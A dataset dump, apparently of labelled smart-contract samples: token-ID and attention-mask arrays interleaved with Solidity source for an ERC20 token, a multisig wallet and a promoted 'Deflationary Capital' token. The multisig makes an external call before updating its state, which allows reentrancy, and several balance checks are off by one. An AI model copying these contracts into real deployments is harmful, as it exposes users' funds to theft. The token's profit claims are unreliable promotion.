3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.13;
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract SchmeckleToken {
/* Public variables of the token */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
function SchmeckleToken() {
uint initialSupply = 28000000000000000000000000;
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens
totalSupply = initialSupply; // Update total supply
name = "Schmeckle Token"; // Set the name for display purposes
symbol = "SHM"; // Set the symbol for display purposes
decimals = 18; // Amount of decimals for display purposes
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] > _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Send `_value` tokens to `_to` from your account
/// @param _to The address of the recipient
/// @param _value the amount to send
function transfer(address _to, uint256 _value) {
_transfer(msg.sender, _to, _value);
}
/// @notice Send `_value` tokens to `_to` in behalf of `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value the amount to send
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require (_value < allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf
/// @param _spender The address authorized to spend
/// @param _value the max amount they can spend
function approve(address _spender, uint256 _value)
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
/// @param _spender The address authorized to spend
/// @param _value the max amount they can spend
/// @param _extraData some extra information to send to the approved contract
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice Remove `_value` tokens from the system irreversibly
/// @param _value the amount of money to burn
function burn(uint256 _value) returns (bool success) {
require (balanceOf[msg.sender] > _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2410,
1025,
3206,
19204,
2890,
6895,
14756,
3372,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1010,
4769,
1035,
19204,
1010,
27507,
1035,
4469,
2850,
2696,
1007,
1025,
1065,
3206,
8040,
14227,
11012,
7485,
11045,
2078,
1063,
1013,
1008,
2270,
10857,
1997,
1996,
19204,
1008,
1013,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1025,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
1013,
1008,
2023,
9005,
2019,
9140,
2007,
2035,
5703,
2015,
1008,
1013,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
1013,
1008,
2023,
19421,
1037,
2270,
2724,
2006,
1996,
3796,
24925,
2078,
2008,
2097,
2025,
8757,
7846,
1008,
1013,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1008,
2023,
2025,
14144,
7846,
2055,
1996,
3815,
11060,
1008,
1013,
2724,
6402,
1006,
4769,
25331,
2013,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1008,
3988,
10057,
3206,
2007,
3988,
4425,
19204,
2015,
2000,
1996,
8543,
1997,
1996,
3206,
1008,
1013,
3853,
8040,
14227,
11012,
7485,
11045,
2078,
1006,
1007,
1063,
21318,
3372,
20381,
6279,
22086,
1027,
13427,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
2692,
1025,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
20381,
6279,
22086,
1025,
1013,
1013,
2507,
1996,
8543,
2035,
3988,
19204,
2015,
21948,
6279,
22086,
1027,
20381,
6279,
22086,
1025,
1013,
1013,
10651,
2561,
4425,
2171,
1027,
1000,
8040,
14227,
11012,
2571,
19204,
1000,
1025,
1013,
1013,
2275,
1996,
2171,
2005,
4653,
5682,
6454,
1027,
1000,
14021,
2213,
1000,
1025,
1013,
1013,
2275,
1996,
6454,
2005,
4653,
5682,
26066,
2015,
1027,
2324,
1025,
1013,
1013,
3815,
1997,
26066,
2015,
2005,
4653,
5682,
1065,
1013,
1008,
4722,
4651,
1010,
2069,
2064,
2022,
2170,
2011,
2023,
3206,
1008,
1013,
3853,
1035,
4651,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
4722,
1063,
5478,
1006,
1035,
2000,
999,
1027,
1014,
2595,
2692,
1007,
1025,
1013,
1013,
4652,
4651,
2000,
1014,
2595,
2692,
4769,
1012,
2224,
6402,
1006,
1007,
2612,
5478,
1006,
5703,
11253,
1031,
1035,
2013,
1033,
1028,
1035,
3643,
1007,
1025,
1013,
1013,
4638,
2065,
1996,
4604,
2121,
2038,
2438,
5478,
1006,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1035,
3643,
1028,
5703,
11253,
1031,
1035,
2000,
1033,
1007,
1025,
1013,
1013,
4638,
2005,
2058,
12314,
2015,
5703,
11253,
1031,
1035,
2013,
1033,
1011,
1027,
1035,
3643,
1025,
1013,
1013,
4942,
6494,
6593,
2013,
1996,
4604,
2121,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1027,
1035,
3643,
1025,
1013,
1013,
5587,
1996,
2168,
2000,
1996,
7799,
4651,
1006,
1035,
2013,
1010,
1035,
2000,
1010,
1035,
3643,
1007,
1025,
1065,
1013,
1013,
1013,
1030,
5060,
4604,
1036,
1035,
3643,
1036,
19204,
2015,
2000,
1036,
1035,
2000,
1036,
2013,
2115,
4070,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.21;
contract ibaMultisig {
/*
* Types
*/
struct Transaction {
uint id;
address destination;
uint value;
bytes data;
TxnStatus status;
address[] confirmed;
address creator;
}
struct Wallet {
bytes32 name;
address creator;
uint id;
uint allowance;
address[] owners;
Log[] logs;
Transaction[] transactions;
uint appovalsreq;
}
struct Log {
uint amount;
address sender;
}
enum TxnStatus { Unconfirmed, Pending, Executed }
/*
* Modifiers
*/
modifier onlyOwner ( address creator, uint walletId ) {
bool found;
for (uint i = 0;i<wallets[creator][walletId].owners.length;i++){
if (wallets[creator][walletId].owners[i] == msg.sender){
found = true;
}
}
if (found){
_;
}
}
/*
* Events
*/
event WalletCreated(uint id);
event TxnSumbitted(uint id);
event TxnConfirmed(uint id);
event topUpBalance(uint value);
/*
* Storage
*/
mapping (address => Wallet[]) public wallets;
/*
* Constructor
*/
function ibaMultisig() public{
}
/*
* Getters
*/
function getWalletId(address creator, bytes32 name) external view returns (uint, bool){
for (uint i = 0;i<wallets[creator].length;i++){
if (wallets[creator][i].name == name){
return (i, true);
}
}
}
function getOwners(address creator, uint id) external view returns (address[]){
return wallets[creator][id].owners;
}
function getTxnNum(address creator, uint id) external view returns (uint){
require(wallets[creator][id].owners.length > 0);
return wallets[creator][id].transactions.length;
}
function getTxn(address creator, uint walletId, uint id) external view returns (uint, address, uint, bytes, TxnStatus, address[], address){
Transaction storage txn = wallets[creator][walletId].transactions[id];
return (txn.id, txn.destination, txn.value, txn.data, txn.status, txn.confirmed, txn.creator);
}
function getLogsNum(address creator, uint id) external view returns (uint){
return wallets[creator][id].logs.length;
}
function getLog(address creator, uint id, uint logId) external view returns (address, uint){
return(wallets[creator][id].logs[logId].sender, wallets[creator][id].logs[logId].amount);
}
/*
* Methods
*/
function createWallet(uint approvals, address[] owners, bytes32 name) external payable{
/* check if name was actually given */
require(name.length != 0);
/*check if approvals num equals or greater than given owners num*/
require(approvals <= owners.length);
/* check if wallets with given name already exists */
bool found;
for (uint i = 0; i<wallets[msg.sender].length;i++){
if (wallets[msg.sender][i].name == name){
found = true;
}
}
require (found == false);
/*instantiate new wallet*/
uint currentLen = wallets[msg.sender].length++;
wallets[msg.sender][currentLen].name = name;
wallets[msg.sender][currentLen].creator = msg.sender;
wallets[msg.sender][currentLen].id = currentLen;
wallets[msg.sender][currentLen].allowance = msg.value;
wallets[msg.sender][currentLen].owners = owners;
wallets[msg.sender][currentLen].appovalsreq = approvals;
emit WalletCreated(currentLen);
}
function topBalance(address creator, uint id) external payable {
require (msg.value > 0 wei);
wallets[creator][id].allowance += msg.value;
/* create new log entry */
uint loglen = wallets[creator][id].logs.length++;
wallets[creator][id].logs[loglen].amount = msg.value;
wallets[creator][id].logs[loglen].sender = msg.sender;
emit topUpBalance(msg.value);
}
function submitTransaction(address creator, address destination, uint walletId, uint value, bytes data) onlyOwner (creator,walletId) external returns (bool) {
uint newTxId = wallets[creator][walletId].transactions.length++;
wallets[creator][walletId].transactions[newTxId].id = newTxId;
wallets[creator][walletId].transactions[newTxId].destination = destination;
wallets[creator][walletId].transactions[newTxId].value = value;
wallets[creator][walletId].transactions[newTxId].data = data;
wallets[creator][walletId].transactions[newTxId].creator = msg.sender;
emit TxnSumbitted(newTxId);
return true;
}
function confirmTransaction(address creator, uint walletId, uint txId) onlyOwner(creator, walletId) external returns (bool){
Wallet storage wallet = wallets[creator][walletId];
Transaction storage txn = wallet.transactions[txId];
//check whether this owner has already confirmed this txn
bool f;
for (uint8 i = 0; i<txn.confirmed.length;i++){
if (txn.confirmed[i] == msg.sender){
f = true;
}
}
//push sender address into confirmed array if haven't found
require(!f);
txn.confirmed.push(msg.sender);
if (txn.confirmed.length == wallet.appovalsreq){
txn.status = TxnStatus.Pending;
}
//fire event
emit TxnConfirmed(txId);
return true;
}
function executeTxn(address creator, uint walletId, uint txId) onlyOwner(creator, walletId) external returns (bool){
Wallet storage wallet = wallets[creator][walletId];
Transaction storage txn = wallet.transactions[txId];
/* check txn status */
require(txn.status == TxnStatus.Pending);
/* check whether wallet has sufficient balance to send this transaction */
require(wallet.allowance >= txn.value);
/* send transaction */
address dest = txn.destination;
uint val = txn.value;
bytes memory dat = txn.data;
assert(dest.call.value(val)(dat));
/* change transaction's status to executed */
txn.status = TxnStatus.Executed;
/* change wallet's balance */
wallet.allowance = wallet.allowance - txn.value;
return true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
3206,
21307,
3286,
11314,
17417,
2290,
1063,
1013,
1008,
1008,
4127,
1008,
1013,
2358,
6820,
6593,
12598,
1063,
21318,
3372,
8909,
1025,
4769,
7688,
1025,
21318,
3372,
3643,
1025,
27507,
2951,
1025,
19067,
23808,
15590,
3570,
1025,
4769,
1031,
1033,
4484,
1025,
4769,
8543,
1025,
1065,
2358,
6820,
6593,
15882,
1063,
27507,
16703,
2171,
1025,
4769,
8543,
1025,
21318,
3372,
8909,
1025,
21318,
3372,
21447,
1025,
4769,
1031,
1033,
5608,
1025,
8833,
1031,
1033,
15664,
1025,
12598,
1031,
1033,
11817,
1025,
21318,
3372,
10439,
7103,
4877,
2890,
4160,
1025,
1065,
2358,
6820,
6593,
8833,
1063,
21318,
3372,
3815,
1025,
4769,
4604,
2121,
1025,
1065,
4372,
2819,
19067,
23808,
15590,
1063,
4895,
8663,
23141,
1010,
14223,
1010,
6472,
1065,
1013,
1008,
1008,
16913,
28295,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
4769,
8543,
1010,
21318,
3372,
15882,
3593,
1007,
1063,
22017,
2140,
2179,
1025,
2005,
1006,
21318,
3372,
1045,
1027,
1014,
1025,
1045,
1026,
15882,
2015,
1031,
8543,
1033,
1031,
15882,
3593,
1033,
1012,
5608,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
1063,
2065,
1006,
15882,
2015,
1031,
8543,
1033,
1031,
15882,
3593,
1033,
1012,
5608,
1031,
1045,
1033,
1027,
1027,
5796,
2290,
1012,
4604,
2121,
1007,
1063,
2179,
1027,
2995,
1025,
1065,
1065,
2065,
1006,
2179,
1007,
1063,
1035,
1025,
1065,
1065,
1013,
1008,
1008,
2824,
1008,
1013,
2724,
15882,
16748,
4383,
1006,
21318,
3372,
8909,
1007,
1025,
2724,
19067,
3619,
25438,
27100,
2094,
1006,
21318,
3372,
8909,
1007,
1025,
2724,
19067,
15305,
2078,
23141,
1006,
21318,
3372,
8909,
1007,
1025,
2724,
2327,
6279,
26657,
1006,
21318,
3372,
3643,
1007,
1025,
1013,
1008,
1008,
5527,
1008,
1013,
12375,
1006,
4769,
1027,
1028,
15882,
1031,
1033,
1007,
2270,
15882,
2015,
1025,
1013,
1008,
1008,
9570,
2953,
1008,
1013,
3853,
21307,
3286,
11314,
17417,
2290,
1006,
1007,
2270,
1063,
1065,
1013,
1008,
1008,
2131,
7747,
1008,
1013,
3853,
2131,
9628,
20624,
2094,
1006,
4769,
8543,
1010,
27507,
16703,
2171,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1010,
22017,
2140,
1007,
1063,
2005,
1006,
21318,
3372,
1045,
1027,
1014,
1025,
1045,
1026,
15882,
2015,
1031,
8543,
1033,
1012,
3091,
1025,
1045,
1009,
1009,
1007,
1063,
2065,
1006,
15882,
2015,
1031,
8543,
1033,
1031,
1045,
1033,
1012,
2171,
1027,
1027,
2171,
1007,
1063,
2709,
1006,
1045,
1010,
2995,
1007,
1025,
1065,
1065,
1065,
3853,
2131,
12384,
2545,
1006,
4769,
8543,
1010,
21318,
3372,
8909,
1007,
6327,
3193,
5651,
1006,
4769,
1031,
1033,
1007,
1063,
2709,
15882,
2015,
1031,
8543,
1033,
1031,
8909,
1033,
1012,
5608,
1025,
1065,
3853,
2131,
2102,
2595,
10695,
2819,
1006,
4769,
8543,
1010,
21318,
3372,
8909,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1063,
5478,
1006,
15882,
2015,
1031,
8543,
1033,
1031,
8909,
1033,
1012,
5608,
1012,
3091,
1028,
1014,
1007,
1025,
2709,
15882,
2015,
1031,
8543,
1033,
1031,
8909,
1033,
1012,
11817,
1012,
3091,
1025,
1065,
3853,
2131,
2102,
2595,
2078,
1006,
4769,
8543,
1010,
21318,
3372,
15882,
3593,
1010,
21318,
3372,
8909,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1010,
4769,
1010,
21318,
3372,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-11-27
*/
/*
Stepped away for a moment and missed VariStableCapital?
DFC - DeflationaryCapital is by known devs who have created some of the top
coins you know and love on ETH
Deflationary Capital: $DFC
Deflationary DeFi-as-a-Service (DaaS) Token, with 60% supply burned to 0x0dEaD
You buy on Ethereum, we execute algorithmic stablecoin strategies on various chains and return the profits to $DFC holders.
Initial Supply: 1,000,000,000,000 $DFC
60% of $DFC burned to 0x0dEaD
10% of each buy goes to existing holders.
10% of each sell goes into various-chain algorithmic stablecoin investing to add to the treasury and buy back $DFC tokens.
Telegram: https://t.me/deflationarycapital
*/
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
